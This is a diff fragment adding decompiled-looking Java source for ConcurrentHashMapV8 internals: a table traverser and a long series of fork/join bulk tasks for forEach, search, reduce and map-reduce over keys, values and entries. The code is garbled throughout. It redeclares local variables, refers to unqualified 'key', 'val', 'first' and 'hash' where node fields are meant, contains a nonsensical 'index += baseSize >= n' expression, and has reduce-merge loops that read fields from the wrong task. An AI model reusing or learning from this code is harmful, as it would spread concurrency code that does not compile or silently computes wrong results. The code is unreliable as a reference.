+      ConcurrentHashMapV8.Node<K, V> e;
+      
+      if ((e = next) != null) {
+        e = next;
+      }
+      for (;;) {
+        if (e != null)
+          return this.next = e;
+        ConcurrentHashMapV8.Node<K, V>[] t; int n; int i; if ((baseIndex >= baseLimit) || ((t = tab) == null) || ((n = t.length) <= (i = index)) || (i < 0))
+        {
+          return this.next = null; }
+        int n; int i; ConcurrentHashMapV8.Node<K, V>[] t; if (((e = ConcurrentHashMapV8.tabAt(t, index)) != null) && (hash < 0)) {
+          if ((e instanceof ConcurrentHashMapV8.ForwardingNode)) {
+            tab = nextTable;
+            e = null;
+            continue;
+          }
+          if ((e instanceof ConcurrentHashMapV8.TreeBin)) {
+            e = first;
+          } else
+            e = null;
+        }
+        if (this.index += baseSize >= n) {
+          index = (++baseIndex);
+        }
+      }
+    }
+  }
+  
+
+
+
+  static final class ForEachKeyTask<K, V>
+    extends ConcurrentHashMapV8.BulkTask<K, V, Void>
+  {
+    final ConcurrentHashMapV8.Action<? super K> action;
+    
+
+
+
+    ForEachKeyTask(ConcurrentHashMapV8.BulkTask<K, V, ?> p, int b, int i, int f, ConcurrentHashMapV8.Node<K, V>[] t, ConcurrentHashMapV8.Action<? super K> action)
+    {
+      super(b, i, f, t);
+      this.action = action;
+    }
+    
+    public final void compute() { ConcurrentHashMapV8.Action<? super K> action;
+      if ((action = this.action) != null) { int f;
+        int h; for (int i = baseIndex; (batch > 0) && ((h = (f = baseLimit) + i >>> 1) > i);)
+        {
+          addToPendingCount(1);
+          new ForEachKeyTask(this, this.batch >>>= 1, this.baseLimit = h, f, tab, action).fork();
+        }
+        
+        ConcurrentHashMapV8.Node<K, V> p;
+        while ((p = advance()) != null)
+          action.apply(key);
+        propagateCompletion();
+      }
+    }
+  }
+  
+  static final class ForEachValueTask<K, V>
+    extends ConcurrentHashMapV8.BulkTask<K, V, Void>
+  {
+    final ConcurrentHashMapV8.Action<? super V> action;
+    
+    ForEachValueTask(ConcurrentHashMapV8.BulkTask<K, V, ?> p, int b, int i, int f, ConcurrentHashMapV8.Node<K, V>[] t, ConcurrentHashMapV8.Action<? super V> action)
+    {
+      super(b, i, f, t);
+      this.action = action;
+    }
+    
+    public final void compute() { ConcurrentHashMapV8.Action<? super V> action;
+      if ((action = this.action) != null) { int f;
+        int h; for (int i = baseIndex; (batch > 0) && ((h = (f = baseLimit) + i >>> 1) > i);)
+        {
+          addToPendingCount(1);
+          new ForEachValueTask(this, this.batch >>>= 1, this.baseLimit = h, f, tab, action).fork();
+        }
+        
+        ConcurrentHashMapV8.Node<K, V> p;
+        while ((p = advance()) != null)
+          action.apply(val);
+        propagateCompletion();
+      }
+    }
+  }
+  
+  static final class ForEachEntryTask<K, V>
+    extends ConcurrentHashMapV8.BulkTask<K, V, Void>
+  {
+    final ConcurrentHashMapV8.Action<? super Map.Entry<K, V>> action;
+    
+    ForEachEntryTask(ConcurrentHashMapV8.BulkTask<K, V, ?> p, int b, int i, int f, ConcurrentHashMapV8.Node<K, V>[] t, ConcurrentHashMapV8.Action<? super Map.Entry<K, V>> action)
+    {
+      super(b, i, f, t);
+      this.action = action;
+    }
+    
+    public final void compute() { ConcurrentHashMapV8.Action<? super Map.Entry<K, V>> action;
+      if ((action = this.action) != null) { int f;
+        int h; for (int i = baseIndex; (batch > 0) && ((h = (f = baseLimit) + i >>> 1) > i);)
+        {
+          addToPendingCount(1);
+          new ForEachEntryTask(this, this.batch >>>= 1, this.baseLimit = h, f, tab, action).fork();
+        }
+        
+        ConcurrentHashMapV8.Node<K, V> p;
+        while ((p = advance()) != null)
+          action.apply(p);
+        propagateCompletion();
+      }
+    }
+  }
+  
+  static final class ForEachMappingTask<K, V>
+    extends ConcurrentHashMapV8.BulkTask<K, V, Void>
+  {
+    final ConcurrentHashMapV8.BiAction<? super K, ? super V> action;
+    
+    ForEachMappingTask(ConcurrentHashMapV8.BulkTask<K, V, ?> p, int b, int i, int f, ConcurrentHashMapV8.Node<K, V>[] t, ConcurrentHashMapV8.BiAction<? super K, ? super V> action)
+    {
+      super(b, i, f, t);
+      this.action = action;
+    }
+    
+    public final void compute() { ConcurrentHashMapV8.BiAction<? super K, ? super V> action;
+      if ((action = this.action) != null) { int f;
+        int h; for (int i = baseIndex; (batch > 0) && ((h = (f = baseLimit) + i >>> 1) > i);)
+        {
+          addToPendingCount(1);
+          new ForEachMappingTask(this, this.batch >>>= 1, this.baseLimit = h, f, tab, action).fork();
+        }
+        
+        ConcurrentHashMapV8.Node<K, V> p;
+        while ((p = advance()) != null)
+          action.apply(key, val);
+        propagateCompletion();
+      }
+    }
+  }
+  
+  static final class ForEachTransformedKeyTask<K, V, U>
+    extends ConcurrentHashMapV8.BulkTask<K, V, Void>
+  {
+    final ConcurrentHashMapV8.Fun<? super K, ? extends U> transformer;
+    final ConcurrentHashMapV8.Action<? super U> action;
+    
+    ForEachTransformedKeyTask(ConcurrentHashMapV8.BulkTask<K, V, ?> p, int b, int i, int f, ConcurrentHashMapV8.Node<K, V>[] t, ConcurrentHashMapV8.Fun<? super K, ? extends U> transformer, ConcurrentHashMapV8.Action<? super U> action)
+    {
+      super(b, i, f, t);
+      this.transformer = transformer;this.action = action;
+    }
+    
+    public final void compute() { ConcurrentHashMapV8.Fun<? super K, ? extends U> transformer;
+      ConcurrentHashMapV8.Action<? super U> action;
+      if (((transformer = this.transformer) != null) && ((action = this.action) != null)) { int f;
+        int h;
+        for (int i = baseIndex; (batch > 0) && ((h = (f = baseLimit) + i >>> 1) > i);)
+        {
+          addToPendingCount(1);
+          new ForEachTransformedKeyTask(this, this.batch >>>= 1, this.baseLimit = h, f, tab, transformer, action).fork();
+        }
+        
+        ConcurrentHashMapV8.Node<K, V> p;
+        while ((p = advance()) != null) {
+          U u;
+          if ((u = transformer.apply(key)) != null)
+            action.apply(u);
+        }
+        propagateCompletion();
+      }
+    }
+  }
+  
+  static final class ForEachTransformedValueTask<K, V, U>
+    extends ConcurrentHashMapV8.BulkTask<K, V, Void>
+  {
+    final ConcurrentHashMapV8.Fun<? super V, ? extends U> transformer;
+    final ConcurrentHashMapV8.Action<? super U> action;
+    
+    ForEachTransformedValueTask(ConcurrentHashMapV8.BulkTask<K, V, ?> p, int b, int i, int f, ConcurrentHashMapV8.Node<K, V>[] t, ConcurrentHashMapV8.Fun<? super V, ? extends U> transformer, ConcurrentHashMapV8.Action<? super U> action)
+    {
+      super(b, i, f, t);
+      this.transformer = transformer;this.action = action;
+    }
+    
+    public final void compute() { ConcurrentHashMapV8.Fun<? super V, ? extends U> transformer;
+      ConcurrentHashMapV8.Action<? super U> action;
+      if (((transformer = this.transformer) != null) && ((action = this.action) != null)) { int f;
+        int h;
+        for (int i = baseIndex; (batch > 0) && ((h = (f = baseLimit) + i >>> 1) > i);)
+        {
+          addToPendingCount(1);
+          new ForEachTransformedValueTask(this, this.batch >>>= 1, this.baseLimit = h, f, tab, transformer, action).fork();
+        }
+        
+        ConcurrentHashMapV8.Node<K, V> p;
+        while ((p = advance()) != null) {
+          U u;
+          if ((u = transformer.apply(val)) != null)
+            action.apply(u);
+        }
+        propagateCompletion();
+      }
+    }
+  }
+  
+  static final class ForEachTransformedEntryTask<K, V, U>
+    extends ConcurrentHashMapV8.BulkTask<K, V, Void>
+  {
+    final ConcurrentHashMapV8.Fun<Map.Entry<K, V>, ? extends U> transformer;
+    final ConcurrentHashMapV8.Action<? super U> action;
+    
+    ForEachTransformedEntryTask(ConcurrentHashMapV8.BulkTask<K, V, ?> p, int b, int i, int f, ConcurrentHashMapV8.Node<K, V>[] t, ConcurrentHashMapV8.Fun<Map.Entry<K, V>, ? extends U> transformer, ConcurrentHashMapV8.Action<? super U> action)
+    {
+      super(b, i, f, t);
+      this.transformer = transformer;this.action = action;
+    }
+    
+    public final void compute() { ConcurrentHashMapV8.Fun<Map.Entry<K, V>, ? extends U> transformer;
+      ConcurrentHashMapV8.Action<? super U> action;
+      if (((transformer = this.transformer) != null) && ((action = this.action) != null)) { int f;
+        int h;
+        for (int i = baseIndex; (batch > 0) && ((h = (f = baseLimit) + i >>> 1) > i);)
+        {
+          addToPendingCount(1);
+          new ForEachTransformedEntryTask(this, this.batch >>>= 1, this.baseLimit = h, f, tab, transformer, action).fork();
+        }
+        
+        ConcurrentHashMapV8.Node<K, V> p;
+        while ((p = advance()) != null) {
+          U u;
+          if ((u = transformer.apply(p)) != null)
+            action.apply(u);
+        }
+        propagateCompletion();
+      }
+    }
+  }
+  
+
+  static final class ForEachTransformedMappingTask<K, V, U>
+    extends ConcurrentHashMapV8.BulkTask<K, V, Void>
+  {
+    final ConcurrentHashMapV8.BiFun<? super K, ? super V, ? extends U> transformer;
+    final ConcurrentHashMapV8.Action<? super U> action;
+    
+    ForEachTransformedMappingTask(ConcurrentHashMapV8.BulkTask<K, V, ?> p, int b, int i, int f, ConcurrentHashMapV8.Node<K, V>[] t, ConcurrentHashMapV8.BiFun<? super K, ? super V, ? extends U> transformer, ConcurrentHashMapV8.Action<? super U> action)
+    {
+      super(b, i, f, t);
+      this.transformer = transformer;this.action = action;
+    }
+    
+    public final void compute() { ConcurrentHashMapV8.BiFun<? super K, ? super V, ? extends U> transformer;
+      ConcurrentHashMapV8.Action<? super U> action;
+      if (((transformer = this.transformer) != null) && ((action = this.action) != null)) { int f;
+        int h;
+        for (int i = baseIndex; (batch > 0) && ((h = (f = baseLimit) + i >>> 1) > i);)
+        {
+          addToPendingCount(1);
+          new ForEachTransformedMappingTask(this, this.batch >>>= 1, this.baseLimit = h, f, tab, transformer, action).fork();
+        }
+        
+        ConcurrentHashMapV8.Node<K, V> p;
+        while ((p = advance()) != null) {
+          U u;
+          if ((u = transformer.apply(key, val)) != null)
+            action.apply(u);
+        }
+        propagateCompletion();
+      }
+    }
+  }
+  
+
+  static final class SearchKeysTask<K, V, U>
+    extends ConcurrentHashMapV8.BulkTask<K, V, U>
+  {
+    final ConcurrentHashMapV8.Fun<? super K, ? extends U> searchFunction;
+    final AtomicReference<U> result;
+    
+    SearchKeysTask(ConcurrentHashMapV8.BulkTask<K, V, ?> p, int b, int i, int f, ConcurrentHashMapV8.Node<K, V>[] t, ConcurrentHashMapV8.Fun<? super K, ? extends U> searchFunction, AtomicReference<U> result)
+    {
+      super(b, i, f, t);
+      this.searchFunction = searchFunction;this.result = result; }
+    
+    public final U getRawResult() { return result.get(); }
+    
+    public final void compute() { ConcurrentHashMapV8.Fun<? super K, ? extends U> searchFunction;
+      AtomicReference<U> result;
+      if (((searchFunction = this.searchFunction) != null) && ((result = this.result) != null)) { int f;
+        int h;
+        for (int i = baseIndex; (batch > 0) && ((h = (f = baseLimit) + i >>> 1) > i);)
+        {
+          if (result.get() != null)
+            return;
+          addToPendingCount(1);
+          new SearchKeysTask(this, this.batch >>>= 1, this.baseLimit = h, f, tab, searchFunction, result).fork();
+        }
+        
+
+        while (result.get() == null)
+        {
+          ConcurrentHashMapV8.Node<K, V> p;
+          if ((p = advance()) == null) {
+            propagateCompletion();
+            break; }
+          U u;
+          if ((u = searchFunction.apply(key)) != null) {
+            if (!result.compareAndSet(null, u)) break;
+            quietlyCompleteRoot(); break;
+          }
+        }
+      }
+    }
+  }
+  
+
+  static final class SearchValuesTask<K, V, U>
+    extends ConcurrentHashMapV8.BulkTask<K, V, U>
+  {
+    final ConcurrentHashMapV8.Fun<? super V, ? extends U> searchFunction;
+    
+    final AtomicReference<U> result;
+    
+    SearchValuesTask(ConcurrentHashMapV8.BulkTask<K, V, ?> p, int b, int i, int f, ConcurrentHashMapV8.Node<K, V>[] t, ConcurrentHashMapV8.Fun<? super V, ? extends U> searchFunction, AtomicReference<U> result)
+    {
+      super(b, i, f, t);
+      this.searchFunction = searchFunction;this.result = result; }
+    
+    public final U getRawResult() { return result.get(); }
+    
+    public final void compute() { ConcurrentHashMapV8.Fun<? super V, ? extends U> searchFunction;
+      AtomicReference<U> result;
+      if (((searchFunction = this.searchFunction) != null) && ((result = this.result) != null)) { int f;
+        int h;
+        for (int i = baseIndex; (batch > 0) && ((h = (f = baseLimit) + i >>> 1) > i);)
+        {
+          if (result.get() != null)
+            return;
+          addToPendingCount(1);
+          new SearchValuesTask(this, this.batch >>>= 1, this.baseLimit = h, f, tab, searchFunction, result).fork();
+        }
+        
+
+        while (result.get() == null)
+        {
+          ConcurrentHashMapV8.Node<K, V> p;
+          if ((p = advance()) == null) {
+            propagateCompletion();
+            break; }
+          U u;
+          if ((u = searchFunction.apply(val)) != null) {
+            if (!result.compareAndSet(null, u)) break;
+            quietlyCompleteRoot(); break;
+          }
+        }
+      }
+    }
+  }
+  
+
+  static final class SearchEntriesTask<K, V, U>
+    extends ConcurrentHashMapV8.BulkTask<K, V, U>
+  {
+    final ConcurrentHashMapV8.Fun<Map.Entry<K, V>, ? extends U> searchFunction;
+    
+    final AtomicReference<U> result;
+    
+    SearchEntriesTask(ConcurrentHashMapV8.BulkTask<K, V, ?> p, int b, int i, int f, ConcurrentHashMapV8.Node<K, V>[] t, ConcurrentHashMapV8.Fun<Map.Entry<K, V>, ? extends U> searchFunction, AtomicReference<U> result)
+    {
+      super(b, i, f, t);
+      this.searchFunction = searchFunction;this.result = result; }
+    
+    public final U getRawResult() { return result.get(); }
+    
+    public final void compute() { ConcurrentHashMapV8.Fun<Map.Entry<K, V>, ? extends U> searchFunction;
+      AtomicReference<U> result;
+      if (((searchFunction = this.searchFunction) != null) && ((result = this.result) != null)) { int f;
+        int h;
+        for (int i = baseIndex; (batch > 0) && ((h = (f = baseLimit) + i >>> 1) > i);)
+        {
+          if (result.get() != null)
+            return;
+          addToPendingCount(1);
+          new SearchEntriesTask(this, this.batch >>>= 1, this.baseLimit = h, f, tab, searchFunction, result).fork();
+        }
+        
+
+        while (result.get() == null)
+        {
+          ConcurrentHashMapV8.Node<K, V> p;
+          if ((p = advance()) == null) {
+            propagateCompletion();
+            break; }
+          U u;
+          if ((u = searchFunction.apply(p)) != null) {
+            if (result.compareAndSet(null, u))
+              quietlyCompleteRoot();
+            return;
+          }
+        }
+      }
+    }
+  }
+  
+
+  static final class SearchMappingsTask<K, V, U>
+    extends ConcurrentHashMapV8.BulkTask<K, V, U>
+  {
+    final ConcurrentHashMapV8.BiFun<? super K, ? super V, ? extends U> searchFunction;
+    final AtomicReference<U> result;
+    
+    SearchMappingsTask(ConcurrentHashMapV8.BulkTask<K, V, ?> p, int b, int i, int f, ConcurrentHashMapV8.Node<K, V>[] t, ConcurrentHashMapV8.BiFun<? super K, ? super V, ? extends U> searchFunction, AtomicReference<U> result)
+    {
+      super(b, i, f, t);
+      this.searchFunction = searchFunction;this.result = result; }
+    
+    public final U getRawResult() { return result.get(); }
+    
+    public final void compute() { ConcurrentHashMapV8.BiFun<? super K, ? super V, ? extends U> searchFunction;
+      AtomicReference<U> result;
+      if (((searchFunction = this.searchFunction) != null) && ((result = this.result) != null)) { int f;
+        int h;
+        for (int i = baseIndex; (batch > 0) && ((h = (f = baseLimit) + i >>> 1) > i);)
+        {
+          if (result.get() != null)
+            return;
+          addToPendingCount(1);
+          new SearchMappingsTask(this, this.batch >>>= 1, this.baseLimit = h, f, tab, searchFunction, result).fork();
+        }
+        
+
+        while (result.get() == null)
+        {
+          ConcurrentHashMapV8.Node<K, V> p;
+          if ((p = advance()) == null) {
+            propagateCompletion();
+            break; }
+          U u;
+          if ((u = searchFunction.apply(key, val)) != null) {
+            if (!result.compareAndSet(null, u)) break;
+            quietlyCompleteRoot(); break;
+          }
+        }
+      }
+    }
+  }
+  
+
+  static final class ReduceKeysTask<K, V>
+    extends ConcurrentHashMapV8.BulkTask<K, V, K>
+  {
+    final ConcurrentHashMapV8.BiFun<? super K, ? super K, ? extends K> reducer;
+    K result;
+    ReduceKeysTask<K, V> rights;
+    ReduceKeysTask<K, V> nextRight;
+    
+    ReduceKeysTask(ConcurrentHashMapV8.BulkTask<K, V, ?> p, int b, int i, int f, ConcurrentHashMapV8.Node<K, V>[] t, ReduceKeysTask<K, V> nextRight, ConcurrentHashMapV8.BiFun<? super K, ? super K, ? extends K> reducer)
+    {
+      super(b, i, f, t);this.nextRight = nextRight;
+      this.reducer = reducer; }
+    
+    public final K getRawResult() { return result; }
+    
+    public final void compute() { ConcurrentHashMapV8.BiFun<? super K, ? super K, ? extends K> reducer;
+      if ((reducer = this.reducer) != null) { int f;
+        int h; for (int i = baseIndex; (batch > 0) && ((h = (f = baseLimit) + i >>> 1) > i);)
+        {
+          addToPendingCount(1);
+          (this.rights = new ReduceKeysTask(this, this.batch >>>= 1, this.baseLimit = h, f, tab, rights, reducer)).fork();
+        }
+        
+
+        K r = null;
+        ConcurrentHashMapV8.Node<K, V> p; while ((p = advance()) != null) {
+          K u = key;
+          r = u == null ? r : r == null ? u : reducer.apply(r, u);
+        }
+        result = r;
+        
+        for (CountedCompleter<?> c = firstComplete(); c != null; c = c.nextComplete())
+        {
+          ReduceKeysTask<K, V> t = (ReduceKeysTask)c;
+          ReduceKeysTask<K, V> s = rights;
+          while (s != null) {
+            K sr;
+            if ((sr = result) != null) { K tr;
+              result = ((tr = result) == null ? sr : reducer.apply(tr, sr));
+            }
+            s = t.rights = nextRight;
+          }
+        }
+      }
+    }
+  }
+  
+  static final class ReduceValuesTask<K, V>
+    extends ConcurrentHashMapV8.BulkTask<K, V, V>
+  {
+    final ConcurrentHashMapV8.BiFun<? super V, ? super V, ? extends V> reducer;
+    V result;
+    ReduceValuesTask<K, V> rights;
+    ReduceValuesTask<K, V> nextRight;
+    
+    ReduceValuesTask(ConcurrentHashMapV8.BulkTask<K, V, ?> p, int b, int i, int f, ConcurrentHashMapV8.Node<K, V>[] t, ReduceValuesTask<K, V> nextRight, ConcurrentHashMapV8.BiFun<? super V, ? super V, ? extends V> reducer)
+    {
+      super(b, i, f, t);this.nextRight = nextRight;
+      this.reducer = reducer; }
+    
+    public final V getRawResult() { return result; }
+    
+    public final void compute() { ConcurrentHashMapV8.BiFun<? super V, ? super V, ? extends V> reducer;
+      if ((reducer = this.reducer) != null) { int f;
+        int h; for (int i = baseIndex; (batch > 0) && ((h = (f = baseLimit) + i >>> 1) > i);)
+        {
+          addToPendingCount(1);
+          (this.rights = new ReduceValuesTask(this, this.batch >>>= 1, this.baseLimit = h, f, tab, rights, reducer)).fork();
+        }
+        
+
+        V r = null;
+        ConcurrentHashMapV8.Node<K, V> p; while ((p = advance()) != null) {
+          V v = val;
+          r = r == null ? v : reducer.apply(r, v);
+        }
+        result = r;
+        
+        for (CountedCompleter<?> c = firstComplete(); c != null; c = c.nextComplete())
+        {
+          ReduceValuesTask<K, V> t = (ReduceValuesTask)c;
+          ReduceValuesTask<K, V> s = rights;
+          while (s != null) {
+            V sr;
+            if ((sr = result) != null) { V tr;
+              result = ((tr = result) == null ? sr : reducer.apply(tr, sr));
+            }
+            s = t.rights = nextRight;
+          }
+        }
+      }
+    }
+  }
+  
+  static final class ReduceEntriesTask<K, V>
+    extends ConcurrentHashMapV8.BulkTask<K, V, Map.Entry<K, V>>
+  {
+    final ConcurrentHashMapV8.BiFun<Map.Entry<K, V>, Map.Entry<K, V>, ? extends Map.Entry<K, V>> reducer;
+    Map.Entry<K, V> result;
+    ReduceEntriesTask<K, V> rights;
+    ReduceEntriesTask<K, V> nextRight;
+    
+    ReduceEntriesTask(ConcurrentHashMapV8.BulkTask<K, V, ?> p, int b, int i, int f, ConcurrentHashMapV8.Node<K, V>[] t, ReduceEntriesTask<K, V> nextRight, ConcurrentHashMapV8.BiFun<Map.Entry<K, V>, Map.Entry<K, V>, ? extends Map.Entry<K, V>> reducer)
+    {
+      super(b, i, f, t);this.nextRight = nextRight;
+      this.reducer = reducer; }
+    
+    public final Map.Entry<K, V> getRawResult() { return result; }
+    
+    public final void compute() { ConcurrentHashMapV8.BiFun<Map.Entry<K, V>, Map.Entry<K, V>, ? extends Map.Entry<K, V>> reducer;
+      if ((reducer = this.reducer) != null) { int f;
+        int h; for (int i = baseIndex; (batch > 0) && ((h = (f = baseLimit) + i >>> 1) > i);)
+        {
+          addToPendingCount(1);
+          (this.rights = new ReduceEntriesTask(this, this.batch >>>= 1, this.baseLimit = h, f, tab, rights, reducer)).fork();
+        }
+        
+
+        Map.Entry<K, V> r = null;
+        ConcurrentHashMapV8.Node<K, V> p; while ((p = advance()) != null)
+          r = r == null ? p : (Map.Entry)reducer.apply(r, p);
+        result = r;
+        
+        for (CountedCompleter<?> c = firstComplete(); c != null; c = c.nextComplete())
+        {
+          ReduceEntriesTask<K, V> t = (ReduceEntriesTask)c;
+          ReduceEntriesTask<K, V> s = rights;
+          while (s != null) {
+            Map.Entry<K, V> sr;
+            if ((sr = result) != null) { Map.Entry<K, V> tr;
+              result = ((tr = result) == null ? sr : (Map.Entry)reducer.apply(tr, sr));
+            }
+            s = t.rights = nextRight;
+          }
+        }
+      }
+    }
+  }
+  
+
+  static final class MapReduceKeysTask<K, V, U>
+    extends ConcurrentHashMapV8.BulkTask<K, V, U>
+  {
+    final ConcurrentHashMapV8.Fun<? super K, ? extends U> transformer;
+    final ConcurrentHashMapV8.BiFun<? super U, ? super U, ? extends U> reducer;
+    U result;
+    MapReduceKeysTask<K, V, U> rights;
+    MapReduceKeysTask<K, V, U> nextRight;
+    
+    MapReduceKeysTask(ConcurrentHashMapV8.BulkTask<K, V, ?> p, int b, int i, int f, ConcurrentHashMapV8.Node<K, V>[] t, MapReduceKeysTask<K, V, U> nextRight, ConcurrentHashMapV8.Fun<? super K, ? extends U> transformer, ConcurrentHashMapV8.BiFun<? super U, ? super U, ? extends U> reducer)
+    {
+      super(b, i, f, t);this.nextRight = nextRight;
+      this.transformer = transformer;
+      this.reducer = reducer; }
+    
+    public final U getRawResult() { return result; }
+    
+    public final void compute() { ConcurrentHashMapV8.Fun<? super K, ? extends U> transformer;
+      ConcurrentHashMapV8.BiFun<? super U, ? super U, ? extends U> reducer;
+      if (((transformer = this.transformer) != null) && ((reducer = this.reducer) != null)) { int f;
+        int h;
+        for (int i = baseIndex; (batch > 0) && ((h = (f = baseLimit) + i >>> 1) > i);)
+        {
+          addToPendingCount(1);
+          (this.rights = new MapReduceKeysTask(this, this.batch >>>= 1, this.baseLimit = h, f, tab, rights, transformer, reducer)).fork();
+        }
+        
+
+        U r = null;
+        ConcurrentHashMapV8.Node<K, V> p; while ((p = advance()) != null) {
+          U u;
+          if ((u = transformer.apply(key)) != null)
+            r = r == null ? u : reducer.apply(r, u);
+        }
+        result = r;
+        
+        for (CountedCompleter<?> c = firstComplete(); c != null; c = c.nextComplete())
+        {
+          MapReduceKeysTask<K, V, U> t = (MapReduceKeysTask)c;
+          MapReduceKeysTask<K, V, U> s = rights;
+          while (s != null) {
+            U sr;
+            if ((sr = result) != null) { U tr;
+              result = ((tr = result) == null ? sr : reducer.apply(tr, sr));
+            }
+            s = t.rights = nextRight;
+          }
+        }
+      }
+    }
+  }
+  
+
+  static final class MapReduceValuesTask<K, V, U>
+    extends ConcurrentHashMapV8.BulkTask<K, V, U>
+  {
+    final ConcurrentHashMapV8.Fun<? super V, ? extends U> transformer;
+    final ConcurrentHashMapV8.BiFun<? super U, ? super U, ? extends U> reducer;
+    U result;
+    MapReduceValuesTask<K, V, U> rights;
+    MapReduceValuesTask<K, V, U> nextRight;
+    
+    MapReduceValuesTask(ConcurrentHashMapV8.BulkTask<K, V, ?> p, int b, int i, int f, ConcurrentHashMapV8.Node<K, V>[] t, MapReduceValuesTask<K, V, U> nextRight, ConcurrentHashMapV8.Fun<? super V, ? extends U> transformer, ConcurrentHashMapV8.BiFun<? super U, ? super U, ? extends U> reducer)
+    {
+      super(b, i, f, t);this.nextRight = nextRight;
+      this.transformer = transformer;
+      this.reducer = reducer; }
+    
+    public final U getRawResult() { return result; }
+    
+    public final void compute() { ConcurrentHashMapV8.Fun<? super V, ? extends U> transformer;
+      ConcurrentHashMapV8.BiFun<? super U, ? super U, ? extends U> reducer;
+      if (((transformer = this.transformer) != null) && ((reducer = this.reducer) != null)) { int f;
+        int h;
+        for (int i = baseIndex; (batch > 0) && ((h = (f = baseLimit) + i >>> 1) > i);)
+        {
+          addToPendingCount(1);
+          (this.rights = new MapReduceValuesTask(this, this.batch >>>= 1, this.baseLimit = h, f, tab, rights, transformer, reducer)).fork();
+        }
+        
+
+        U r = null;
+        ConcurrentHashMapV8.Node<K, V> p; while ((p = advance()) != null) {
+          U u;
+          if ((u = transformer.apply(val)) != null)
+            r = r == null ? u : reducer.apply(r, u);
+        }
+        result = r;
+        
+        for (CountedCompleter<?> c = firstComplete(); c != null; c = c.nextComplete())
+        {
+          MapReduceValuesTask<K, V, U> t = (MapReduceValuesTask)c;
+          MapReduceValuesTask<K, V, U> s = rights;
+          while (s != null) {
+            U sr;
+            if ((sr = result) != null) { U tr;
+              result = ((tr = result) == null ? sr : reducer.apply(tr, sr));
+            }
+            s = t.rights = nextRight;
+          }
+        }
+      }
+    }
+  }
+  
+
+  static final class MapReduceEntriesTask<K, V, U>
+    extends ConcurrentHashMapV8.BulkTask<K, V, U>
+  {
+    final ConcurrentHashMapV8.Fun<Map.Entry<K, V>, ? extends U> transformer;
+    final ConcurrentHashMapV8.BiFun<? super U, ? super U, ? extends U> reducer;
+    U result;
+    MapReduceEntriesTask<K, V, U> rights;
+    MapReduceEntriesTask<K, V, U> nextRight;
+    
+    MapReduceEntriesTask(ConcurrentHashMapV8.BulkTask<K, V, ?> p, int b, int i, int f, ConcurrentHashMapV8.Node<K, V>[] t, MapReduceEntriesTask<K, V, U> nextRight, ConcurrentHashMapV8.Fun<Map.Entry<K, V>, ? extends U> transformer, ConcurrentHashMapV8.BiFun<? super U, ? super U, ? extends U> reducer)
+    {
+      super(b, i, f, t);this.nextRight = nextRight;
+      this.transformer = transformer;
+      this.reducer = reducer; }
+    
+    public final U getRawResult() { return result; }
+    
+    public final void compute() { ConcurrentHashMapV8.Fun<Map.Entry<K, V>, ? extends U> transformer;
+      ConcurrentHashMapV8.BiFun<? super U, ? super U, ? extends U> reducer;
+      if (((transformer = this.transformer) != null) && ((reducer = this.reducer) != null)) { int f;
+        int h;
+        for (int i = baseIndex; (batch > 0) && ((h = (f = baseLimit) + i >>> 1) > i);)
+        {
+          addToPendingCount(1);
+          (this.rights = new MapReduceEntriesTask(this, this.batch >>>= 1, this.baseLimit = h, f, tab, rights, transformer, reducer)).fork();
+        }
+        
+
+        U r = null;
+        ConcurrentHashMapV8.Node<K, V> p; while ((p = advance()) != null) {
+          U u;
+          if ((u = transformer.apply(p)) != null)
+            r = r == null ? u : reducer.apply(r, u);
+        }
+        result = r;
+        
+        for (CountedCompleter<?> c = firstComplete(); c != null; c = c.nextComplete())
+        {
+          MapReduceEntriesTask<K, V, U> t = (MapReduceEntriesTask)c;
+          MapReduceEntriesTask<K, V, U> s = rights;
+          while (s != null) {
+            U sr;
+            if ((sr = result) != null) { U tr;
+              result = ((tr = result) == null ? sr : reducer.apply(tr, sr));
+            }
+            s = t.rights = nextRight;
+          }
+        }
+      }
+    }
+  }
+  
+
+  static final class MapReduceMappingsTask<K, V, U>
+    extends ConcurrentHashMapV8.BulkTask<K, V, U>
+  {
+    final ConcurrentHashMapV8.BiFun<? super K, ? super V, ? extends U> transformer;
+    final ConcurrentHashMapV8.BiFun<? super U, ? super U, ? extends U> reducer;
+    U result;
+    MapReduceMappingsTask<K, V, U> rights;
+    MapReduceMappingsTask<K, V, U> nextRight;
+    
+    MapReduceMappingsTask(ConcurrentHashMapV8.BulkTask<K, V, ?> p, int b, int i, int f, ConcurrentHashMapV8.Node<K, V>[] t, MapReduceMappingsTask<K, V, U> nextRight, ConcurrentHashMapV8.BiFun<? super K, ? super V, ? extends U> transformer, ConcurrentHashMapV8.BiFun<? super U, ? super U, ? extends U> reducer)
+    {
+      super(b, i, f, t);this.nextRight = nextRight;
+      this.transformer = transformer;
+      this.reducer = reducer; }
+    
+    public final U getRawResult() { return result; }
+    
+    public final void compute() { ConcurrentHashMapV8.BiFun<? super K, ? super V, ? extends U> transformer;
+      ConcurrentHashMapV8.BiFun<? super U, ? super U, ? extends U> reducer;
+      if (((transformer = this.transformer) != null) && ((reducer = this.reducer) != null)) { int f;
+        int h;
+        for (int i = baseIndex; (batch > 0) && ((h = (f = baseLimit) + i >>> 1) > i);)
+        {
+          addToPendingCount(1);
+          (this.rights = new MapReduceMappingsTask(this, this.batch >>>= 1, this.baseLimit = h, f, tab, rights, transformer, reducer)).fork();
+        }
+        
+
+        U r = null;
+        ConcurrentHashMapV8.Node<K, V> p; while ((p = advance()) != null) {
+          U u;
+          if ((u = transformer.apply(key, val)) != null)
+            r = r == null ? u : reducer.apply(r, u);
+        }
+        result = r;
+        
+        for (CountedCompleter<?> c = firstComplete(); c != null; c = c.nextComplete())
+        {
+          MapReduceMappingsTask<K, V, U> t = (MapReduceMappingsTask)c;
+          MapReduceMappingsTask<K, V, U> s = rights;
+          while (s != null) {
+            U sr;
+            if ((sr = result) != null) { U tr;
+              result = ((tr = result) == null ? sr : reducer.apply(tr, sr));
+            }
+            s = t.rights = nextRight;
+          }
+        }
+      }
+    }
+  }
+  
+
+  static final class MapReduceKeysToDoubleTask<K, V>
+    extends ConcurrentHashMapV8.BulkTask<K, V, Double>
+  {
+    final ConcurrentHashMapV8.ObjectToDouble<? super K> transformer;
+    
+    final ConcurrentHashMapV8.DoubleByDoubleToDouble reducer;
+    final double basis;
+    double result;
+    MapReduceKeysToDoubleTask<K, V> rights;
+    MapReduceKeysToDoubleTask<K, V> nextRight;
+    
